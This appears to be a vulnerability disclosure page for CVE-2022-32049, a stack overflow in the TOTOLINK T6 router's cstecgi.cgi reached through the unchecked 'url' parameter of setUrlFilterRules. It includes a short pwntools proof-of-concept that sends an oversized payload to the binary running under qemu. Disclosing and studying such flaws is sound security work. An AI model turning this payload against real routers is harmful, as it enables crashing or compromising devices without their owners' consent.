Headline
CVE-2022-32049: IoT-vuln/Totolink/T6-v2/7.setUrlFilterRules at main · d1tto/IoT-vuln
TOTOLINK T6 V4.1.9cu.5179_B20201015 was discovered to contain a stack overflow via the url parameter in the function FUN_00418540.
The vulnerability exists in the router’s WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_00418540 (at address 0x418540) gets the JSON parameter url, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:
from pwn import * import json
data = { "topicurl": "setting/setUrlFilterRules", "addEffect": "1", "enable": "1", "url": 'A’*0x400 }
data = json.dumps(data) print(data)
argv = [ "qemu-mipsel-static", "-g", "1234", "-L", "./root/", "-E", "CONTENT_LENGTH={}".format(len(data)), "-E", "REMOTE_ADDR=192.168.2.1", “./cstecgi.cgi” ]
a = process(argv=argv) a.sendline(data.encode())
a.interactive()